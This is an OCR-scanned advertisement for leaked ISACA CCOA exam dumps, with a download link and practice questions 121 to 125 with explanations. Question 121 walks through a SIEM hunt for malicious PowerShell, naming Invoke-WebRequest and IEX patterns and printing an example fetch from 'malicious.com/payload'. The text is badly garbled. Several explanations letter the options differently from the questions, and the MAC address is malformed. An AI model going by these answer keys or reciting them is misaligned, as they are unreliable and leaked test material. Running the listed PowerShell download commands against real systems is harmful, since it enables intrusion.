HEBPISACA CCOARRBREE R RIT EH MBI & 5EER
CCOARRRE L AT

S ISACA| (crsd (crisc @

! e o - 7 Certified Information
Certified Information  Certified in Risk  Security Manager
Systems Auditor”  and Information ;
peroR ST Systems Control.

ED

=R lab
CGEIT CDPSE
A T it Sty Lty
www.5%cert.com Enterprise IT ALK Corinin

s PLALK Ll

BONUS!! 4 & T & PDFExamDumps CCOAZ i B & ¥ 56 # i)t : - https//drive. google.com/open?
id=1012l0LtHatlk62dxb33q3 Y4vgDF VK e

RBFEIETE R T FIRISACAKICCOARR HH AN EH MBI KIS ? AHBERLT, BEMARRBENR
P, BEAFKKIER, PDFExamDumps#&2MCCOAERAKFHE A RPN T —Mm MR NEE L. KXBRL—&
THE—BRAEEN, ERRELEAN? &7 B BIRTEERF SRR E RS KR H, PDFExamDumpsAR#IEH T R
R B AR R R ) 28 BT LUBIRE S CCOAE . BB HERS T HESH P — VIR RAAE.
Bk, REMREFHFREIEMEE LE, MEEBBCCOAERMNHRMET .

ISACA CCOA E: KH:

FRE &4

e Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst
and focuses on detecting security incidents and responding appropriately. It includes understanding security

FE 1 monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to

react to security breaches quickly and efficiently to minimize damage and restore operations.

¢ Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers

the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like
EN D) hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The
focus is on understanding the technical landscape and how these elements interconnect to ensure secure
operations.

o Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a
Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to
FE3 compromise systemns. It includes identifying methods of attack, such as phishing, malware, and social

engneering, and understanding how these techniques can be detected and thwarted.

o Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the

methods and strategies used to secure organizational assets. It includes topics like endpoint security, data
FE 4 protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive
nformation and resources are properly protected from external and internal threats.

e Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity

Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing
N vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section
emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to
organizational assets.
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PRI #121

Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on
December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands
andaccessing systens outside of their normal workinghours.

What is the physical address of the web server that wastargeted with malicious PowerShell commands?

ER:
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See the solution in Explanation.

Explanation:

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM
system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to
1:00 AM on December 4, 2024).

Step 1: Understand the Context

* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:ldentify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources

* Logs to investigate:

* PowerShell logs (Event ID 4104)for command execution.

* Windows Security Event Logsfor login and access attempts.

* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

* Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

* Windows Event Logs (Sysmon/PowerShell)

* Firewall Logs

* IDS/IPS Alerts

* Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

* Time Frame Filter:

* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

* Event ID Filter:

* Filter forEvent ID 4104(PowerShell script block logging).

* Command Pattern:

* Look for suspicious commands like:

Invoke- WebRequest

Invoke-Expression (IEX)

New-Object Net. WebClient

* Process Name:

* Filter logs where theProcess Nameis powershell.exe.

Exanple SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and '"2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourcelP, Destination]P, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.

* Focus on:

* Source [P Address: Where the PowerShell commands originated.

* Destination [P Address: Targeted web server.
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* Use thelP address of the web serverto trace back theMAC address.
Example Network Log Query:

index=network logs

| search Destination[P="<Web_Server IP>"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourcelP, Destination]P, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

* Investigate the nature of the commands:

* Data Exfiltration:Using Invoke- WebRequest to send data to external IPs.

* Remote Code Execution:Using IEX to run downloaded scripts.

* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address

* Identify theMAC addresscorresponding to the targeted web server.

* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:

arp -a | findstr <Web_Server IP>

Step 7: Report the Findings

* Document the targeted server'sIP address and MAC address.

* Summarize the malicious activity:

* Commands executed

* Time and duration

* Source and destination IPs

Exanmple Finding;

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A22B3C:AD:SE

Time of Attack: 12:30 AM, December 4, 2024

PowerShell

Command: Invoke-WebRequest -Uri "http/malicious.com/payload"

Step 8: Take Immediate Actions

* Isolate the affected server.

* Block external IPs mvolved.

* Terminate malicious PowerShell processes.

* Conduct a forensic analysis of compromised systerns.

Step 9: Strengthen Security Post-Incident

* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

FIRE #122
The PRIMARY function of open source intelligence (OSINT) is:

A. delivering remote access malware packaged as an executable file via social engineering tactics.
B. leveraging publicly available sources to gather Information on an enterprise or on individuals.
C. encoding stolen data prior to exfiltration to subvert data loss prevention (DIP) controls.

D. Initiating active probes for open ports with the aim of retrieving service version information.

Z%: B
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The primary finction of Open Source Intelligence (OSINT) is to collect and analyze information from publicly available sources. This
data can include:

* Social Media Profiles:Gaining insights into employees or organizational activities.

* Public Websites:Extracting data from corporate pages, forums, or blogs.

* Government and Legal Databases:Collecting information from public records and legal filings.

* Search Engine Results:Finding indexed data, reports, or leaked documents.

* Technical Footprinting:Gathering information from publicly exposed systens or DNS records.

OSINT is crucial in both defensive and offensive security strategies, providing insights into potential attack vectors or organizational
vulnerabilities.

Incorrect Options:

* A. Encoding stolen data prior to exfiltration:This relates to data exfiltration techniques, not OSINT.



* B. Initiating active probes for open ports:This is part of network scanning, not passive intelligence gathering.

* C. Delivering remote access malware via social engineering'This is an attack vector rather than intelligence gathering.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 2, Section "Threat Intelligence and OSINT", Subsection "Roles and Applications of OSINT"

- OSINT involves leveraging publicly available sources to gather information on potential targets, be it individuals or organizations.

il RE #123
Which of'the following processes is MOST effective for reducing application risk?

A. Regular code reviews throughout development
B. Regular monitoring of application use

C. Regular third-party risk assessments

D. Regular vulnerability scans after deployment

ER: A

i REES B -

Performingregular code reviews throughout developmentis the most effective method for reducing application risk:

* Early Detection:Identifies security vulnerabilities before deployment.

* Code Quality:Improves security practices and coding standards among developers.

* Static Analysis:Ensures compliance with secure coding practices, reducing common vulnerabilities (like mjection or XSS).
* Continuous Improvement:Incorporates feedback mto future development cycles.

Incorrect Options:

* A. Regular third-party risk assessments:Important but does not directly address code-level risks.

* C. Regular vulnerability scans after deployment:Identifies issues post-deployment, which is less efficient.

* D. Regular monitoring of application use:Helps detect anomalies but not inherent vulnerabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Secure Software Development," Subsection "Code Review Practices" - Code reviews are critical for
proactively identifying security flaws during development.

PR #124
Cyber threat intelligence is MOST important for:

A. performing root cause analysis for cyber attacks.

B. configuring SIEM systenms and endpoints.

C. recommending best practices for database security.

D. revealing adversarial tactics, techniques, and procedures.

ZX: D
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Cyber Threat Intelligence (CTI)is primarily focused onunderstanding the tactics, techniques, and procedures (TTPs)used by
adversaries. The goal is to gain insights into:

* Attack Patterns:How cybercriminals or threat actors operate.

* Indicators of Compromise (IOCs):Data related to attacks, such as IP addresses or domain names.

* Threat Actor Profiles:Understanding motives and methods.

* Operational Threat Hunting:Using intelligence to proactively search for threats in an environment.

* Decision Support:Assisting SOC teams and management in making informed security decisions.

Other options analysis:

* A. Performing root cause analysis for cyber attacks:While CTI can inform such analyss, it is not the primary purpose.

* B. Configuring SIEM systens and endpoints:CTI cansupportconfiguration, but that is not its main fimction.

* C. Recommending best practices for database security:CTI is more focused on threat analysis rather than specific security
configurations.

CCOA Official Review Manual, 1st Edition References:

* Chapter 6: Threat Intelligence and Analysis:Explains how CTI is used to reveal adversarial TTPs.

* Chapter 9: Threat Intelligence in Incident Response:Highlights how CTI helps identify emerging threats.



P RE #125
Which of'the following MOST effectively minimizes the impact of a control failure?

A. Information security policy

B. Defense in depth

C. Business impact analysis (B1A)
D. Business continuityplan [BCP

EX: B

R B B «

The most effective way tominimize the impact of a control failureis to employDefense in Depth, which nvolves:

* Layered Security Controls:Implementing multiple, overlapping security measures to protect assets.

* RedundancyIf one control fails (e.g,, a firewall), others (like IDS, endpoint protection, and network monitoring) continue to
provide protection.

* Minimizing Single Points of Failure:By diversifying security measures, no single failure will compromise the entire system

* Adaptive Security Posture:Layered defenses allow quick adjustments and contain threats.

Other options analysis:

* A. Business continuity plan (BCP):Focuses on maintaining operations after an incident, not directly on minimizing control failures.
* B. Business impact analysis (BIA):Identifies potential impacts but does not reduce failure impact directly.

* D. Information security policy:Guides security practices but does not provide practical mitigation during a failure.

CCOA Official Review Manual, 1st Edition References:

* Chapter 7: Defense in Depth Strategies:Emphasizes the importance of layering controls to reduce failure impacts.

* Chapter 9: Incident Response and Mitigation:Explains how defense in depth supports resilience.
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